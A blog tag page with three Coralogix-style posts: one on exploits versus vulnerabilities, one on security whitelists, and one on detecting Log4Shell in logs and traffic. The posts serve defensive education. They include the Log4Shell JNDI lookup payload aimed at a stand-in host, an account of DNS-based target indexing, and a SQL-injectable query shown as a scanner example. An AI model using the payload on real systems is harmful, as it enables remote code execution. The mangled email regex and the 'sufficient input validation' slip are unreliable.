Tag: log4shell

Exploit vs. Vulnerability: What Is the Difference?

Posted on by eugene evdokimov

Whenever engineers discover a new security issue, the question arises every time: is this an exploit or vulnerability? What is a software vulnerability? How does it differ from an exploit? 

A vulnerability is a gap in the armor or weakness that allows people to enter. The exploit is the mechanism that someone uses to get in. For example, a door with a fragile lock has a vulnerability. The exploit uses the keys, hammer, or lockpick to break the lock. Let’s explore these definitions and look at some recent security incidents.

What is a software vulnerability?

A software vulnerability is some weakness in how a piece of software has been built. These come in many different forms, but some of the most common are:

  • Unsanitized inputs allow a user to enter something into a piece of software that changes its intended behavior.
  • Insecure requests issued from the website, such as websites that respond to plain HTTP requests.
  • Pages that require a lot of system resources to load.

These vulnerabilities are the first port of call for a hacker, and this is what takes up the majority of a malicious agent’s time. Examples of these exploits are the Log4Shell vulnerability, the GHOST vulnerability, and the Pwnkit vulnerability. Malicious agents hunt for these known vulnerabilities, looking for some gap in your application, from which they can launch a more sophisticated attack by using an exploit.

Exploit vs. Vulnerability – one is more subtle than the other

There is another, more subtle distinction, when reviewing the question of exploit vs. vulnerability. A vulnerability might not have obvious relevance in a security context, but the exploit almost always does. An exploit might be as simple as allowing you to log in using a specific protocol or a new feature that saves your details in a central database. This is the problem: a vulnerability is any configuration or code that can be misused unexpectedly. This makes it very, very difficult to write vulnerability “free” code.

So what is an exploit in cybersecurity?

An exploit is some malicious code used to take advantage of a vulnerability. Most exploits have a set of common goals:

  • Steal private information from a system so that information can be sold.
  • Slow down or completely stop a system from working, so a ransom can be demanded.
  • Seize control of a server, to mount further attacks.

For example, the Log4Shell vulnerability was a weakness in how the Log4j program allowed users to execute arbitrary code based on values that should have been printed in the logs. This was an example of poor input sanitization. Many different exploits were subsequently implemented that attempted to use this vulnerability in different ways – some of them allowed you to plug in your own code while others exposed the private environment variables of the software. 

But what about a Zero-Day vulnerability?

A zero-day vulnerability is a vulnerability that is made public without a patch already available. This means that you have zero days to fix it. Zero-day vulnerabilities are a currency unto themselves, and there are black markets that will trade these vulnerabilities before they are ever made public.

The aforementioned Log4Shell vulnerability was an example of a zero-day vulnerability because it became common knowledge before a patch was implemented and was already being used in production code. When we’re assessing exploit vs. vulnerability, this is important to understand. A vulnerability is a weakness, so a gap in the armor was presented to the world before any fix was available. This is why Log4Shell was such a big event. It was a gap in almost everyone’s armor, and it was shown to the world before they could do anything about it. 

Another example is the Heartbleed vulnerability, which allowed attackers to read protected memory areas over the Internet. This was a vulnerability detected in the OpenSSL libraries, and meant it had been proliferated amongst software for years.

Defending your organization against cyber attacks

Staying one step ahead of a cyber attack is an ongoing battle, with more sophisticated exploits built for more nuanced vulnerabilities. There are a few things engineers can do that will significantly improve their security posture.

Patch and never stop patching

Software is rarely wholly original. Most commonly, it’s a tapestry of open source and proprietary software that has been linked together with custom code. This means that one of the most effective ways to minimize vulnerabilities is to keep all of your dependencies up to date. This will ensure that you aren’t caught out by any legacy vulnerabilities that may be hanging around in your software.

Red-teaming and penetration testing

Red-teaming is the practice of hiring engineers to attempt to hack into your system. Your blue team will then actively try to defend against these attacks. This is a brilliant exercise because it helps your engineers become more aware of their system, weaknesses, and strengths. It also helps to establish ways of working when the organization is truly under attack. A more thorough alternative is to pay for an external penetration test, where a highly trained security specialist will attempt to find and document the major weaknesses in your system. A combination of these two strategies gives you an excellent understanding of the major weaknesses in your system.

Code scanning and CI/CD

Static code analysis allows you to dive deep into your code base and look for any code patterns that may indicate the presence of common vulnerabilities. For example, a code snippet that looks like this may trigger a flag for a SQL injection vulnerability:

String sqlQuery = “SELECT * FROM “ + table + “ WHERE VAL LIKE ‘“ + input + “‘“

Code scanning takes some of the burden off of your software engineers and automates some of the more mundane code checkings. However, it doesn’t completely lift the burden, and more complex vulnerabilities still need to be investigated to ensure they don’t pose any risk to your security posture.

Invest in your observability as soon as possible

Once you’ve got some tremendous preventative strategies in place, you need to look at how you defend an attack in progress. The component of your system that will be integral to your success is your observability stack. Knowing precisely what your system is doing is essential to understanding when something is happening out of the ordinary. Whether you’re detecting a DDOS attack or noticing some unwanted IP addresses, it all begins with an effective, well-built, thorough observability function. 

What is a Security Whitelist?

Posted on by eugene evdokimov

In April 2022 alone, there were 14.3m records breached due to 80 significant security incidents. These incidents make up a complex, shifting landscape of cyberattacks that require increasingly sophisticated defenses. While many of our methods are becoming more complex, some of our mechanisms are timeless, like the security whitelist. Also called an “allow list,” the security whitelist defines the permitted actions and blocks everything else. 

Whitelist vs. Blocklist

Security whitelists operate on a deny by default policy, where anything that hasn’t been expressly allowed will be blocked. This is different from a blocklist, where everything is permitted except for the cases that a user has specified – also known as an allow by default policy. 

Through a security lens, the whitelist offers a greater potential for security. If something is “unknown,” it is denied automatically. New processes, IP addresses, applications, or file patterns are blocked straight away, which removes a huge part of your attack surface. However, it comes at a price.

If you deny everything by default, you need to allow all of the desirable processes. This is fine if you’re working on a system with only a few allowed actions. For example, a system that has a list of permitted users. However, if you’re running a public website, placing a whitelist on all incoming traffic would mean that all users are denied access to your site. A blocklist is helpful here. Allow everyone and block people who break the rules. What you lose in security, you gain in accessibility. This trade-off, part of the C-I-A triad, is a common challenge in information security. Let’s explore how whitelists are used in production environments to secure systems and keep data secure.

Email whitelisting

If you’re using an email provider like Google or Microsoft, you already have a list of all accounts in your organization. Using this information, you can automatically maintain an effective whitelist of authorized senders and block any dangerous 3rd parties. This would catch phishing attacks before they can do any damage. If your whitelist allows anyone from @Coralogix.com and an email comes in from @Cora1ogix, your whitelist will catch that. 

Of course, the challenge is an operational one. Email providers need to be able to process emails from authorized sources, such as from inside an organization, and external sources, like 3rd parties. This is why most email providers operate on a blocklist mechanism, where any emails are processed, suspicious activity is flagged, and the relevant accounts are blocked.

IP whitelisting

IP security whitelists are much more common. There are a few instances where you want to make use of an IP whitelist:

  • If you’re hosting a private service with a select group of customers, and you want to prevent network access to anyone outside of that group
  • You have private services that are not and will never be customer-facing

IP whitelists are the foundation of a robust, layered security model. They are essential in securing systems that have both public-facing and internal components. However, they can become an operational nightmare if you have public-facing services only. In this instance, a blocklist makes more sense. Blocklists usually take the form of web application firewalls that will analyze traffic as it passes through and immediately detects malicious behavior.

File and application whitelisting

Large organizations will typically set up employee machines with an application whitelist. Application whitelisting means that users are permitted only to use the tools they need for their job, and nothing more. This minimizes the attack surface of malicious code because the whitelist will automatically block it, which is also a great way of avoiding fines for using unlicensed software.

This is an example of perimeter security. Focusing on ensuring new threats don’t enter at the edges of your system. It works, but if your perimeter security is too strict, you’ll prevent legitimate users from getting things done. For example, software engineers use an ever-changing selection of software tools. Without an easy way to approve new applications and permissions, strict whitelisting of applications can cause serious interruptions to legitimate work. 

More than that, in the age of remote working, “bring your own device” has become ubiquitous, with 47% of companies in the UK operating a BYOD approach during the pandemic. It is challenging to whitelist an employee’s personal computer and invites complex ethical and privacy concerns.

A middle ground is implementing a blocklist approach, such as those found in antivirus software. Antivirus software takes fingerprints (known as hashes) of malicious code and regularly scans applications and files on the host computer. If it detects these malicious code patterns, it quarantines the offending application and informs the user. While this is less secure, it does pose less risk of interrupting legitimate work.

Whitelists for input validation

Input validation is standard practice in software engineering. Attacks like the SQL injection and the Log4Shell vulnerability are caused by sufficient input validation. The Log4Shell attack takes a value that would otherwise be harmlessly printed into application logs. It turns it into a remote code execution attack, allowing a successful attacker to run any code. 

Typical approaches to validating input are using a regex check as a filter. For example, if someone sends up a string value that should be an email, a simple bit of regex like this will detect if it is valid or not: w-]+@([w-]+.)+[w-]+

This creates an effective whitelist because you’re stating upfront what is permitted, and everything else is rejected. This is a non-negotiable step in defending your APIs and front-end applications from exploitation by malicious agents.

Summary

Allow lists offer the ability to maximize your security position, but they naturally come with the operational burden of ensuring that they do not hamper legitimate use of your system. Blocklists are the complete opposite end of the spectrum and allow you to minimize the impact on your users, but the shoe is on the other foot – now you need to keep up with threats on the broader market to ensure your blocklist doesn’t allow malicious traffic. Whichever way you choose, an access control list of this kind is vital for minimizing the risk of an attack that could have crippling consequences for your business.

How to Detect Log4Shell Events Using Coralogix

Posted on by eugene evdokimov

What is Log4Shell?

The Log4J library is one of the most widely-used logging libraries for Java code. On the 24th of November 2021, Alibaba’s Cloud Security Team found a vulnerability in the Log4J, also known as log4shell, framework that provides attackers with a simple way to run arbitrary code on any machine that uses a vulnerable version of the Log4J. This vulnerability was publicly disclosed on the 9th of December 2021.

One of the interesting things about this vulnerability is that it has existed in the code since 2013 and, as far as we know, was not noticed for eight long years.

The way this kind of attack works is straightforward. The attacker needs to know which data in a given application they have control over, as the user, which will eventually be logged. Using that information, the attacker can send a simple text line like ${jndi:ldap://example.com/file} to that field. When the server sends that string to the logger, it will attempt to resolve that string by connecting to an LDAP server at the address ‘example.com.’ 

This will, of course, cause the vulnerable server to use its DNS mechanism to resolve that address first. Therefore, allowing attackers to do a “carpet bombing” and send many variations of this string to many fields, like the “UserAgent” and “X-ForwardedFor” headers. In many cases, the attacker would use the JNDI string to point the vulnerable server to an LDAP server at an address like <the victim’s domain name>.<the field used to attack>.<a random text used as the attack’s ID>.<attacker controlled domain>.

By doing so, the attacker, who has control over the authorized DNS server for his domain, can use this server’s logs to build an index of all domain names and IP addresses that are vulnerable to this kind of attack. This also includes which field is the one vulnerable to it.

More than a single way to detect it

Logs, logs, and more logs

Coralogix, unlike many traditional SIEMs, was not built to hold only “security-related events” (if that is even a thing) but rather to hold any type of textual data. This means that in most cases, it contains all the information and tools that you’ll need to detect security threats without having to do anything special except for creating simple alerting rules.

If you, like many of our customers, are sending your applications and servers logs to Coralogix, you can simply search for the string “JNDI” in your Internet-facing applications’ logs. If you find something like this, you should take a deeper look:

Coralogix logs

By simply clicking the “fwd” field and selecting “show graph for key,” you’ll see something that looks like this (all the masked items contained IPv4 addresses or comma-separated lists of IP addresses):

Field Visualization

That certainly looks suspicious. If you follow our recommendation to create a NewValue alert that will fire for every new value in that field that does not match the expected pattern (a collection of numbers, dots, and commas), then Coralogix will alert you about the attempt even before the attack was publicly disclosed. This includes even if the communication to the vulnerable service was encrypted.

Coralogix STA – Passive Mode

With Coralogix STA (Security Traffic Analyzer) installed, you’ll be able to dig even deeper. The STA allows you to analyze the traffic to and from EC2 interfaces and get all the essential information from it as logs in Coralogix. In this case, if the traffic to the server contained an attempt to exploit the Log4Shell vulnerability and it was not encrypted (or if it was encrypted but the STA’s configuration contained the key used to encrypt the traffic), Coralogix will automatically detect that and issue the following alert:

Coralogix Security Traffic Analyzer

Suppose the communication to the vulnerable server is encrypted, and the STA doesn’t have the appropriate key to decipher it. In that case, Suricata won’t be able to detect the JNDI payload in the traffic, and such alerts won’t fire. But even if you don’t send your application logs to Coralogix and the traffic to the Internet-facing service is encrypted, still not all is lost.

Coralogix might not be able to detect the attack before it starts, but the Coralogix STA can still detect the attack while it is in progress. As you may have already noticed, the way this vulnerability works is that the attacker will cause the server to contact an external server using the LDAP protocol, which will cause the server to create a DNS request. That DNS request will not be encrypted even if the connection to the server was.

This allows the STA to detect the call to the attacker’s command and control server, which can result from a Log4Shell attack but can detect other types of attacks.

Because this communication pattern contains a random string (the attack ID), it is most likely to get a relatively low NLP-based score. The queried domain name will be rather long, which will trigger the alert about suspicious domain names (that are both long but have a low NLP score). In addition to that, the relatively high number of such unique requests will probably trigger a Zeek notice about an increased number of unique queries per parent domain.

Coralogix STA – Active Mode

Another option to detect this vulnerability is by deploying Wazuh agents on critical servers and connecting them to the STA. The Wazuh agent will automatically pull the list of all installed software packages on the host and forward it to the STA, checking that information against a list of vulnerabilities published by NIST, RedHat, and Canonical. Also, Wazuh can be instructed to run an executable and parse its output. By configuring Wazuh to run a tool such as Grype, which analyses the library dependencies of every software it checks, it is possible to detect vulnerable software even before the first exploit attempt.

Some more logs…

Since outbound connections using the LDAP protocol are usually not allowed in corporate environments, the service will eventually fail to reach the relevant server. This will lead to many exceptions that will be logged as part of the service logs and will most likely cause a flow anomaly alert to fire in Coralogix.

Summary

Coralogix makes it possible to easily detect and investigate Log4Shell cases by either ingesting application, infrastructure, or STA logs. By combining this with an XSOAR integration, it is possible to take actions based on this detection and help prevent the attack from spreading.